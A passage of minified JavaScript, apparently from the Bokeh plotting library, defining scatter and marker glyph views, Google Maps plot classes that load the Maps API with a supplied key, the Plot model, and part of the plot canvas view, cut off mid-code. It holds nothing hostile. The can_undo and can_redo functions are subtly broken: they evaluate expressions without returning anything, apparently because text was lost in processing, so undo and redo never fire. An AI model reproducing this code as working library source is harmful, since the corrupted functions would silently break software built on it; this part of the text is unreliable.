r=t(173);i.Scatter=r.Scatter},function(t,e,i){var n=t(391),r=t(146),w=t(9),o=t(15),h=t(21),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){var u=o[h]/2;t.beginPath(),t.translate(n[h],r[h]),s[h]&&t.rotate(s[h]),this._render_one(t,h,u,this.visuals.line,this.visuals.fill),s[h]&&t.rotate(-s[h]),t.translate(-n[h],-r[h])}}},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.bbox.h_range,e=t.start-this.max_size,i=t.end+this.max_size,n=this.renderer.xscale.r_invert(e,i),r=n[0],o=n[1],s=this.renderer.plot_view.frame.bbox.v_range,a=s.start-this.max_size,l=s.end+this.max_size,h=this.renderer.yscale.r_invert(a,l),u=h[0],c=h[1],_=w.validate_bbox_coords([r,o],[u,c]);return this.index.indices(_)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=e-this.max_size,r=e+this.max_size,o=this.renderer.xscale.r_invert(n,r),s=o[0],a=o[1],l=i-this.max_size,h=i+this.max_size,u=this.renderer.yscale.r_invert(l,h),c=u[0],_=u[1],p=w.validate_bbox_coords([s,a],[c,_]),d=this.index.indices(p),f=[],v=0,m=d;v<m.length;v++){var g=m[v],y=this._size[g]/2,b=Math.abs(this.sx[g]-e)+Math.abs(this.sy[g]-i);Math.abs(this.sx[g]-e)<=y&&Math.abs(this.sy[g]-i)<=y&&f.push([g,b])}return w.create_hit_test_result_from_hits(f)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.bounds(),u=h.minX,c=h.minY,_=h.maxX,p=h.maxY,d=w.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){o=c,s=p;var f=this.max_size/2,v=a-f,m=a+f;e=this.renderer.xscale.r_invert(v,m),n=e[0],r=e[1]}else{n=u,r=_;var f=this.max_size/2,g=l-f,y=l+f;i=this.renderer.yscale.r_invert(g,y),o=i[0],s=i[1]}var b=w.validate_bbox_coords([n,r],[o,s]),x=this.index.indices(b);return d.indices=x,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=w.validate_bbox_coords([s,a],[h,u]),_=w.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];w.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=w.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0,this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c})},e}(r.XYGlyphView);i.MarkerView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],angle:[o.AngleSpec,0]})},t}(r.XYGlyph);(i.Marker=a).initClass()},function(t,e,i){var n=t(391),r=t(172),_=t(170),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=i._marker,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+o[u]+s[u])){var c=o[u]/2;t.beginPath(),t.translate(n[u],r[u]),s[u]&&t.rotate(s[u]),_.marker_funcs[a[u]](t,u,c,this.visuals.line,this.visuals.fill),s[u]&&t.rotate(-s[u]),t.translate(-n[u],-r[u])}}},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0;var _=new Array(a);_[i]=this._marker[i],this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c,_marker:_})},e}(r.MarkerView);i.ScatterView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scatter\\\",this.prototype.default_view=s,this.define({marker:[o.MarkerSpec,{value:\\\"circle\\\"}]})},t}(r.Marker);(i.Scatter=a).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(175),s=t(177),a=t(15),l=t(59),h=t(184),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MapOptions\\\",this.define({lat:[a.Number],lng:[a.Number],zoom:[a.Number,12]})},t}(l.Model);(i.MapOptions=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapOptions\\\",this.define({map_type:[a.String,\\\"roadmap\\\"],scale_control:[a.Bool,!1],styles:[a.String],tilt:[a.Int,45]})},t}(u);(i.GMapOptions=c).initClass();var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(s.PlotView);i.GMapPlotView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlot\\\",this.prototype.default_view=_,this.define({map_options:[a.Instance],api_key:[a.String]}),this.override({x_range:function(){return new h.Range1d},y_range:function(){return new h.Range1d}})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.api_key||r.logger.error(\\\"api_key is required. See https://developers.google.com/maps/documentation/javascript/get-api-key for more information on how to obtain your own.\\\")},t.prototype._init_plot_canvas=function(){return new o.GMapPlotCanvas({plot:this})},t}(s.Plot);(i.GMapPlot=p).initClass()},function(t,e,i){var n=t(391),r=t(19),c=t(33),o=t(178),s=new r.Signal0({},\\\"gmaps_ready\\\"),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this._tiles_loaded=!1,this.zoom_count=0;var i=this.model.plot.map_options,n=i.zoom,r=i.lat,o=i.lng;this.initial_zoom=n,this.initial_lat=r,this.initial_lng=o,this.canvas_view.map_el.style.position=\\\"absolute\\\",\\\"undefined\\\"!=typeof google&&null!=google.maps||(\\\"undefined\\\"==typeof _bokeh_gmaps_callback&&function(t){_bokeh_gmaps_callback=function(){return s.emit()};var e=document.createElement(\\\"script\\\");e.type=\\\"text/javascript\\\",e.src=\\\"https://maps.googleapis.com/maps/api/js?key=\\\"+t+\\\"&callback=_bokeh_gmaps_callback\\\",document.body.appendChild(e)}(this.model.plot.api_key),s.connect(function(){return e.request_render()})),this.unpause()},t.prototype.update_range=function(t){if(null==t)this.map.setCenter({lat:this.initial_lat,lng:this.initial_lng}),this.map.setOptions({zoom:this.initial_zoom}),a.prototype.update_range.call(this,null);else if(null!=t.sdx||null!=t.sdy)this.map.panBy(t.sdx||0,t.sdy||0),a.prototype.update_range.call(this,t);else if(null!=t.factor){var e=void 0;if(10!==this.zoom_count)return void(this.zoom_count+=1);this.zoom_count=0,this.pause(),a.prototype.update_range.call(this,t),e=t.factor<0?-1:1;var i=this.map.getZoom(),n=i+e;if(2<=n){this.map.setZoom(n);var r=this._get_projected_bounds(),o=r[0],s=r[1];s-o<0&&this.map.setZoom(i)}this.unpause()}this._set_bokeh_ranges()},t.prototype._build_map=function(){var t=this,e=google.maps;this.map_types={satellite:e.MapTypeId.SATELLITE,terrain:e.MapTypeId.TERRAIN,roadmap:e.MapTypeId.ROADMAP,hybrid:e.MapTypeId.HYBRID};var i=this.model.plot.map_options,n={center:new e.LatLng(i.lat,i.lng),zoom:i.zoom,disableDefaultUI:!0,mapTypeId:this.map_types[i.map_type],scaleControl:i.scale_control,tilt:i.tilt};null!=i.styles&&(n.styles=JSON.parse(i.styles)),this.map=new e.Map(this.canvas_view.map_el,n),e.event.addListener(this.map,\\\"idle\\\",function(){return t._set_bokeh_ranges()}),e.event.addListener(this.map,\\\"bounds_changed\\\",function(){return t._set_bokeh_ranges()}),e.event.addListenerOnce(this.map,\\\"tilesloaded\\\",function(){return t._render_finished()}),this.connect(this.model.plot.properties.map_options.change,function(){return t._update_options()}),this.connect(this.model.plot.map_options.properties.styles.change,function(){return t._update_styles()}),this.connect(this.model.plot.map_options.properties.lat.change,function(){return t._update_center(\\\"lat\\\")}),this.connect(this.model.plot.map_options.properties.lng.change,function(){return t._update_center(\\\"lng\\\")}),this.connect(this.model.plot.map_options.properties.zoom.change,function(){return t._update_zoom()}),this.connect(this.model.plot.map_options.properties.map_type.change,function(){return t._update_map_type()}),this.connect(this.model.plot.map_options.properties.scale_control.change,function(){return t._update_scale_control()}),this.connect(this.model.plot.map_options.properties.tilt.change,function(){return t._update_tilt()})},t.prototype._render_finished=function(){this._tiles_loaded=!0,this.notify_finished()},t.prototype.has_finished=function(){return a.prototype.has_finished.call(this)&&!0===this._tiles_loaded},t.prototype._get_latlon_bounds=function(){var t=this.map.getBounds(),e=t.getNorthEast(),i=t.getSouthWest(),n=i.lng(),r=e.lng(),o=i.lat(),s=e.lat();return[n,r,o,s]},t.prototype._get_projected_bounds=function(){var t=this._get_latlon_bounds(),e=t[0],i=t[1],n=t[2],r=t[3],o=c.wgs84_mercator.forward([e,n]),s=o[0],a=o[1],l=c.wgs84_mercator.forward([i,r]),h=l[0],u=l[1];return[s,h,a,u]},t.prototype._set_bokeh_ranges=function(){var t=this._get_projected_bounds(),e=t[0],i=t[1],n=t[2],r=t[3];this.frame.x_range.setv({start:e,end:i}),this.frame.y_range.setv({start:n,end:r})},t.prototype._update_center=function(t){var e=this.map.getCenter().toJSON();e[t]=this.model.plot.map_options[t],this.map.setCenter(e),this._set_bokeh_ranges()},t.prototype._update_map_type=function(){this.map.setOptions({mapTypeId:this.map_types[this.model.plot.map_options.map_type]})},t.prototype._update_scale_control=function(){this.map.setOptions({scaleControl:this.model.plot.map_options.scale_control})},t.prototype._update_tilt=function(){this.map.setOptions({tilt:this.model.plot.map_options.tilt})},t.prototype._update_options=function(){this._update_styles(),this._update_center(\\\"lat\\\"),this._update_center(\\\"lng\\\"),this._update_zoom(),this._update_map_type()},t.prototype._update_styles=function(){this.map.setOptions({styles:JSON.parse(this.model.plot.map_options.styles)})},t.prototype._update_zoom=function(){this.map.setOptions({zoom:this.model.plot.map_options.zoom}),this._set_bokeh_ranges()},t.prototype._map_hook=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3];this.canvas_view.map_el.style.top=n+\\\"px\\\",this.canvas_view.map_el.style.left=i+\\\"px\\\",this.canvas_view.map_el.style.width=r+\\\"px\\\",this.canvas_view.map_el.style.height=o+\\\"px\\\",null==this.map&&\\\"undefined\\\"!=typeof google&&null!=google.maps&&this._build_map()},t.prototype._paint_empty=function(t,e){var i=this.canvas._width.value,n=this.canvas._height.value,r=e[0],o=e[1],s=e[2],a=e[3];t.clearRect(0,0,i,n),t.beginPath(),t.moveTo(0,0),t.lineTo(0,n),t.lineTo(i,n),t.lineTo(i,0),t.lineTo(0,0),t.moveTo(r,o),t.lineTo(r+s,o),t.lineTo(r+s,o+a),t.lineTo(r,o+a),t.lineTo(r,o),t.closePath(),t.fillStyle=this.model.plot.border_fill_color,t.fill()},t}(o.PlotCanvasView);i.GMapPlotCanvasView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlotCanvas\\\",this.prototype.default_view=a},t.prototype.initialize=function(){this.use_map=!0,e.prototype.initialize.call(this)},t}(o.PlotCanvas);(i.GMapPlotCanvas=l).initClass()},function(t,e,i){var n=t(174);i.MapOptions=n.MapOptions;var r=t(174);i.GMapOptions=r.GMapOptions;var o=t(174);i.GMapPlot=o.GMapPlot;var s=t(175);i.GMapPlotCanvas=s.GMapPlotCanvas;var a=t(177);i.Plot=a.Plot;var l=t(178);i.PlotCanvas=l.PlotCanvas},function(t,e,i){var o=t(391),n=t(13),r=t(14),s=t(15),f=t(19),a=t(21),v=t(32),m=t(44),l=t(157),h=t(75),u=t(192),c=t(268),_=t(76),p=t(178),g=t(200),y=t(185),b=t(3),x=t(180),w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.connect_signals=function(){t.prototype.connect_signals.call(this),this.connect(this.model.properties.title.change,function(){return r.logger.warn(\\\"Title object cannot be replaced. Try changing properties on title to update it after initialization.\\\")})},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-plot-layout\\\")},e.prototype.get_height=function(){return this.model._width.value/this.model.get_aspect_ratio()},e.prototype.get_width=function(){return this.model._height.value*this.model.get_aspect_ratio()},e.prototype.save=function(t){this.plot_canvas_view.save(t)},Object.defineProperty(e.prototype,\\\"plot_canvas_view\\\",{get:function(){return this.child_views[this.model.plot_canvas.id]},enumerable:!0,configurable:!0}),e}(l.LayoutDOMView);i.PlotView=w;var d=function(d){function t(t){return d.call(this,t)||this}return o.__extends(t,d),t.initClass=function(){this.prototype.type=\\\"Plot\\\",this.prototype.default_view=w,this.mixins([\\\"line:outline_\\\",\\\"fill:background_\\\",\\\"fill:border_\\\"]),this.define({toolbar:[s.Instance,function(){return new c.Toolbar}],toolbar_location:[s.Location,\\\"right\\\"],toolbar_sticky:[s.Boolean,!0],plot_width:[s.Number,600],plot_height:[s.Number,600],title:[s.Any,function(){return new h.Title({text:\\\"\\\"})}],title_location:[s.Location,\\\"above\\\"],h_symmetry:[s.Bool,!0],v_symmetry:[s.Bool,!1],above:[s.Array,[]],below:[s.Array,[]],left:[s.Array,[]],right:[s.Array,[]],renderers:[s.Array,[]],x_range:[s.Instance,function(){return new x.DataRange1d}],extra_x_ranges:[s.Any,{}],y_range:[s.Instance,function(){return new x.DataRange1d}],extra_y_ranges:[s.Any,{}],x_scale:[s.Instance,function(){return new u.LinearScale}],y_scale:[s.Instance,function(){return new u.LinearScale}],lod_factor:[s.Number,10],lod_interval:[s.Number,300],lod_threshold:[s.Number,2e3],lod_timeout:[s.Number,500],hidpi:[s.Bool,!0],output_backend:[s.OutputBackend,\\\"canvas\\\"],min_border:[s.Number,5],min_border_top:[s.Number,null],min_border_left:[s.Number,null],min_border_bottom:[s.Number,null],min_border_right:[s.Number,null],inner_width:[s.Number],inner_height:[s.Number],layout_width:[s.Number],layout_height:[s.Number],match_aspect:[s.Bool,!1],aspect_scale:[s.Number,1]}),this.override({outline_line_color:\\\"#e5e5e5\\\",border_fill_color:\\\"#ffffff\\\",background_fill_color:\\\"#ffffff\\\"}),b.register_with_event(b.UIEvent,this)},t.prototype.initialize=function(){d.prototype.initialize.call(this),this.reset=new f.Signal0(this,\\\"reset\\\");for(var t=0,e=v.values(this.extra_x_ranges).concat(this.x_range);t<e.length;t++){var i=e[t],n=i.plots;m.isArray(n)&&(n=n.concat(this),i.setv({plots:n},{silent:!0}))}for(var r=0,o=v.values(this.extra_y_ranges).concat(this.y_range);r<o.length;r++){var s=o[r],n=s.plots;m.isArray(n)&&(n=n.concat(this),s.setv({plots:n},{silent:!0}))}null!=this.min_border&&(null==this.min_border_top&&(this.min_border_top=this.min_border),null==this.min_border_bottom&&(this.min_border_bottom=this.min_border),null==this.min_border_left&&(this.min_border_left=this.min_border),null==this.min_border_right&&(this.min_border_right=this.min_border));for(var a=0,l=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"];a<l.length;a++)for(var h=l[a],u=this.getv(h),c=0,_=u;c<_.length;c++){var p=_[c];p.add_panel(h)}this._init_title_panel(),this._init_toolbar_panel(),this._plot_canvas=this._init_plot_canvas(),this.plot_canvas.toolbar=this.toolbar,null==this.width&&(this.width=this.plot_width),null==this.height&&(this.height=this.plot_height)},t.prototype._init_plot_canvas=function(){return new p.PlotCanvas({plot:this})},t.prototype._init_title_panel=function(){if(null!=this.title){var t=m.isString(this.title)?new h.Title({text:this.title}):this.title;this.add_layout(t,this.title_location)}},t.prototype._init_toolbar_panel=function(){var e=this,t=a.find(this.renderers,function(t){return t instanceof _.ToolbarPanel&&a.includes(t.tags,e.id)});switch(null!=t&&this.remove_layout(t),this.toolbar_location){case\\\"left\\\":case\\\"right\\\":case\\\"above\\\":case\\\"below\\\":if(t=new _.ToolbarPanel({toolbar:this.toolbar,tags:[this.id]}),this.toolbar.toolbar_location=this.toolbar_location,this.toolbar_sticky){var i=this.getv(this.toolbar_location),n=a.find(i,function(t){return t instanceof h.Title});if(null!=n)return t.set_panel(n.panel),void this.add_renderers(t)}this.add_layout(t,this.toolbar_location)}},t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.properties.toolbar_location.change,function(){return t._init_toolbar_panel()})},Object.defineProperty(t.prototype,\\\"plot_canvas\\\",{get:function(){return this._plot_canvas},enumerable:!0,configurable:!0}),t.prototype._doc_attached=function(){this.plot_canvas.attach_document(this.document),d.prototype._doc_attached.call(this)},t.prototype.add_renderers=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=this.renderers;i=i.concat(t),this.renderers=i},t.prototype.add_layout=function(t,e){if(void 0===e&&(e=\\\"center\\\"),null!=t.props.plot&&(t.plot=this),\\\"center\\\"!=e){var i=this.getv(e);i.push(t),t.add_panel(e)}this.add_renderers(t)},t.prototype.remove_layout=function(e){var t=function(t){a.removeBy(t,function(t){return t==e})};t(this.left),t(this.right),t(this.above),t(this.below),t(this.renderers)},t.prototype.add_glyph=function(t,e,i){void 0===e&&(e=new g.ColumnDataSource),void 0===i&&(i={});var n=o.__assign({},i,{data_source:e,glyph:t}),r=new y.GlyphRenderer(n);return this.add_renderers(r),r},t.prototype.add_tools=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var i=0,n=t;i<n.length;i++){var r=n[i];null!=r.overlay&&this.add_renderers(r.overlay)}this.toolbar.tools=this.toolbar.tools.concat(t)},t.prototype.get_layoutable_children=function(){return[this.plot_canvas]},t.prototype.get_constraints=function(){var t=d.prototype.get_constraints.call(this);return t.push(n.EQ(this._width,[-1,this.plot_canvas._width])),t.push(n.EQ(this._height,[-1,this.plot_canvas._height])),t},t.prototype.get_constrained_variables=function(){var t=o.__assign({},d.prototype.get_constrained_variables.call(this),{on_edge_align_top:this.plot_canvas._top,on_edge_align_bottom:this.plot_canvas._height_minus_bottom,on_edge_align_left:this.plot_canvas._left,on_edge_align_right:this.plot_canvas._width_minus_right,box_cell_align_top:this.plot_canvas._top,box_cell_align_bottom:this.plot_canvas._height_minus_bottom,box_cell_align_left:this.plot_canvas._left,box_cell_align_right:this.plot_canvas._width_minus_right,box_equal_size_top:this.plot_canvas._top,box_equal_size_bottom:this.plot_canvas._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this.plot_canvas._left,t.box_equal_size_right=this.plot_canvas._width_minus_right),t},Object.defineProperty(t.prototype,\\\"all_renderers\\\",{get:function(){for(var t=this.renderers,e=0,i=this.toolbar.tools;e<i.length;e++){var n=i[e];t=t.concat(n.synthetic_renderers)}return t},enumerable:!0,configurable:!0}),t}(l.LayoutDOM);(i.Plot=d).initClass()},function(t,e,i){var l=t(391),n=t(91),r=t(92),C=t(180),T=t(185),o=t(157),s=t(3),h=t(19),c=t(4),u=t(20),_=t(49),a=t(6),p=t(11),d=t(10),f=t(13),A=t(14),v=t(7),m=t(15),g=t(42),y=t(44),b=t(21),E=t(32),x=t(12),w=null,k=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return l.__extends(t,a),Object.defineProperty(t.prototype,\\\"frame\\\",{get:function(){return this.model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas\\\",{get:function(){return this.model.canvas},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_overlays\\\",{get:function(){return this.canvas_view.overlays_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_events\\\",{get:function(){return this.canvas_view.events_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_paused\\\",{get:function(){return null!=this._is_paused&&0!==this._is_paused},enumerable:!0,configurable:!0}),t.prototype.view_options=function(){return{plot_view:this,parent:this}},t.prototype.pause=function(){null==this._is_paused?this._is_paused=1:this._is_paused+=1},t.prototype.unpause=function(t){if(void 0===t&&(t=!1),null==this._is_paused)throw new Error(\\\"wasn't paused\\\");this._is_paused-=1,0!=this._is_paused||t||this.request_render()},t.prototype.request_render=function(){this.request_paint()},t.prototype.request_paint=function(){this.is_paused||this.throttled_paint()},t.prototype.reset=function(){this.clear_state(),this.reset_range(),this.reset_selection(),this.model.plot.trigger_event(new s.Reset)},t.prototype.remove=function(){this.ui_event_bus.destroy(),c.remove_views(this.renderer_views),c.remove_views(this.tool_views),this.canvas_view.remove(),a.prototype.remove.call(this)},t.prototype.css_classes=function(){return a.prototype.css_classes.call(this).concat(\\\"bk-plot-wrapper\\\")},t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this.force_paint=new h.Signal0(this,\\\"force_paint\\\"),this.state_changed=new h.Signal0(this,\\\"state_changed\\\"),this.lod_started=!1,this.visuals=new _.Visuals(this.model.plot),this._initial_state_info={selection:{},dimensions:{width:this.model.canvas._width.value,height:this.model.canvas._height.value}},this.visibility_callbacks=[],this.state={history:[],index:-1},this.canvas_view=new this.canvas.default_view({model:this.canvas,parent:this}),this.el.appendChild(this.canvas_view.el),this.canvas_view.render(),\\\"webgl\\\"==this.model.plot.output_backend&&this.init_webgl(),this.throttled_paint=g.throttle(function(){return e.force_paint.emit()},15),this.ui_event_bus=new u.UIEvents(this,this.model.toolbar,this.canvas_view.events_el,this.model.plot),this.levels={};for(var i=0,n=v.RenderLevel;i<n.length;i++){var r=n[i];this.levels[r]={}}this.renderer_views={},this.tool_views={},this.build_levels(),this.build_tools(),this.update_dataranges(),this.unpause(!0),A.logger.debug(\\\"PlotView initialized\\\")},t.prototype.set_cursor=function(t){void 0===t&&(t=\\\"default\\\"),this.canvas_view.el.style.cursor=t},t.prototype.set_toolbar_visibility=function(e){void 0===e&&(e=!0),this.visibility_callbacks.forEach(function(t){return t(e)})},t.prototype.init_webgl=function(){if(null==w){var t=document.createElement(\\\"canvas\\\"),e={premultipliedAlpha:!0},i=t.getContext(\\\"webgl\\\",e)||t.getContext(\\\"experimental-webgl\\\",e);null!=i&&(w={canvas:t,ctx:i})}null!=w?this.gl=w:A.logger.warn(\\\"WebGL is not supported, falling back to 2D canvas.\\\")},t.prototype.prepare_webgl=function(t,e){if(null!=this.gl){var i=this.canvas_view.get_canvas_element();this.gl.canvas.width=i.width,this.gl.canvas.height=i.height;var n=this.gl.ctx;n.viewport(0,0,this.gl.canvas.width,this.gl.canvas.height),n.clearColor(0,0,0,0),n.clear(n.COLOR_BUFFER_BIT||n.DEPTH_BUFFER_BIT),n.enable(n.SCISSOR_TEST);var r=e[0],o=e[1],s=e[2],a=e[3],l=this.model.canvas,h=l.xview,u=l.yview,c=h.compute(r),_=u.compute(o+a);n.scissor(t*c,t*_,t*s,t*a),n.enable(n.BLEND),n.blendFuncSeparate(n.SRC_ALPHA,n.ONE_MINUS_SRC_ALPHA,n.ONE_MINUS_DST_ALPHA,n.ONE)}},t.prototype.blit_webgl=function(t){var e=this.canvas_view.ctx;null!=this.gl&&(A.logger.debug(\\\"drawing with WebGL\\\"),e.restore(),e.drawImage(this.gl.canvas,0,0),e.save(),e.scale(t,t),e.translate(.5,.5))},t.prototype.update_dataranges=function(){for(var t=this.model.frame,e={},i={},n=!1,r=0,o=E.values(t.x_ranges).concat(E.values(t.y_ranges));r<o.length;r++){var s=o[r];s instanceof C.DataRange1d&&\\\"log\\\"==s.scale_hint&&(n=!0)}for(var a in this.renderer_views){var l=this.renderer_views[a];if(l instanceof T.GlyphRendererView){var h=l.glyph.bounds();if(null!=h&&(e[a]=h),n){var u=l.glyph.log_bounds();null!=u&&(i[a]=u)}}}var c,_=!1,p=!1;!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&(c=1/this.model.plot.aspect_scale*(this.frame._width.value/this.frame._height.value));for(var d=0,f=E.values(t.x_ranges);d<f.length;d++){var v=f[d];if(v instanceof C.DataRange1d){var m=\\\"log\\\"==v.scale_hint?i:e;v.update(m,0,this.model.id,c),v.follow&&(_=!0)}null!=v.bounds&&(p=!0)}for(var g=0,y=E.values(t.y_ranges);g<y.length;g++){var b=y[g];if(b instanceof C.DataRange1d){var m=\\\"log\\\"==b.scale_hint?i:e;b.update(m,1,this.model.id,c),b.follow&&(_=!0)}null!=b.bounds&&(p=!0)}if(_&&p){A.logger.warn(\\\"Follow enabled so bounds are unset.\\\");for(var x=0,w=E.values(t.x_ranges);x<w.length;x++){var v=w[x];v.bounds=null}for(var k=0,S=E.values(t.y_ranges);k<S.length;k++){var b=S[k];b.bounds=null}}this.range_update_timestamp=Date.now()},t.prototype.map_to_screen=function(t,e,i,n){return void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\"),this.frame.map_to_screen(t,e,i,n)},t.prototype.push_state=function(t,e){var i=this.state,n=i.history,r=i.index,o=null!=n[r]?n[r].info:{},s=l.__assign({},this._initial_state_info,o,e);this.state.history=this.state.history.slice(0,this.state.index+1),this.state.history.push({type:t,info:s}),this.state.index=this.state.history.length-1,this.state_changed.emit()},t.prototype.clear_state=function(){this.state={history:[],index:-1},this.state_changed.emit()},t.prototype.can_undo=function(){this.state.index},t.prototype.can_redo=function(){this.state.index,this.state.history.length},t.prototype.undo=function(){this.can_undo()&&(this.state.index-=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype.redo=function(){this.can_redo()&&(this.state.index+=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype._do_state_change=function(t){var e=null!=this.state.history[t]?this.state.history[t].info:this._initial_state_info;null!=e.range&&this.update_range(e.range),null!=e.selection&&this.update_selection(e.selection)},t.prototype.get_selection=function(){for(var t={},e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source.selected;t[n.id]=r}}return t},t.prototype.update_selection=function(t){for(var e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source;null!=t?null!=t[n.id]&&r.selected.update(t[n.id],!0,!1):r.selection_manager.clear()}}},t.prototype.reset_selection=function(){this.update_selection(null)},t.prototype._update_ranges_together=function(t){for(var e=1,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1];e=Math.min(e,this._get_weight_to_constrain_interval(o,s))}if(e<1)for(var a=0,l=t;a<l.length;a++){var h=l[a],o=h[0],s=h[1];s.start=e*s.start+(1-e)*o.start,s.end=e*s.end+(1-e)*o.end}},t.prototype._update_ranges_individually=function(t,e,i,n){for(var r=!1,o=0,s=t;o<s.length;o++){var a=s[o],l=a[0],h=a[1];if(!i){var u=this._get_weight_to_constrain_interval(l,h);u<1&&(h.start=u*h.start+(1-u)*l.start,h.end=u*h.end+(1-u)*l.end)}if(null!=l.bounds&&\\\"auto\\\"!=l.bounds){var c=l.bounds,_=c[0],p=c[1],d=Math.abs(h.end-h.start);l.is_reversed?(null!=_&&_>=h.end&&(r=!0,h.end=_,(e||i)&&(h.start=_+d)),null!=p&&p<=h.start&&(r=!0,h.start=p,(e||i)&&(h.end=p-d))):(null!=_&&_>=h.start&&(r=!0,h.start=_,(e||i)&&(h.end=_+d)),null!=p&&p<=h.end&&(r=!0,h.end=p,(e||i)&&(h.start=p-d)))}}if(!(i&&r&&n))for(var f=0,v=t;f<v.length;f++){var m=v[f],l=m[0],h=m[1];l.have_updated_interactively=!0,l.start==h.start&&l.end==h.end||l.setv(h)}},t.prototype._get_weight_to_constrain_interval=function(t,e){var i=t.min_interval,n=t.max_interval;if(null!=t.bounds&&\\\"auto\\\"!=t.bounds){var r=t.bounds,o=r[0],s=r[1];if(null!=o&&null!=s){var a=Math.abs(s-o);n=null!=n?Math.min(n,a):a}}var l=1;if(null!=i||null!=n){var h=Math.abs(t.end-t.start),u=Math.abs(e.end-e.start);0<i&&u<i&&(l=(h-i)/(h-u)),0<n&&n<u&&(l=(n-h)/(u-h)),l=Math.max(0,Math.min(1,l))}return l},t.prototype.update_range=function(t,e,i,n){void 0===e&&(e=!1),void 0===i&&(i=!1),void 0===n&&(n=!0),this.pause();var r=this.frame,o=r.x_ranges,s=r.y_ranges;if(null==t){for(var a in o){var l=o[a];l.reset()}for(var h in s){var l=s[h];l.reset()}this.update_dataranges()}else{var u=[];for(var c in o){var l=o[c];u.push([l,t.xrs[c]])}for(var _ in s){var l=s[_];u.push([l,t.yrs[_]])}i&&this._update_ranges_together(u),this._update_ranges_individually(u,e,i,n)}this.unpause()},t.prototype.reset_range=function(){this.update_range(null)},t.prototype.build_levels=function(){var t=this.model.plot.all_renderers,e=E.keys(this.renderer_views),i=c.build_views(this.renderer_views,t,this.view_options()),n=b.difference(e,t.map(function(t){return t.id}));for(var r in this.levels)for(var o=0,s=n;o<s.length;o++){var a=s[o];delete this.levels[r][a]}for(var 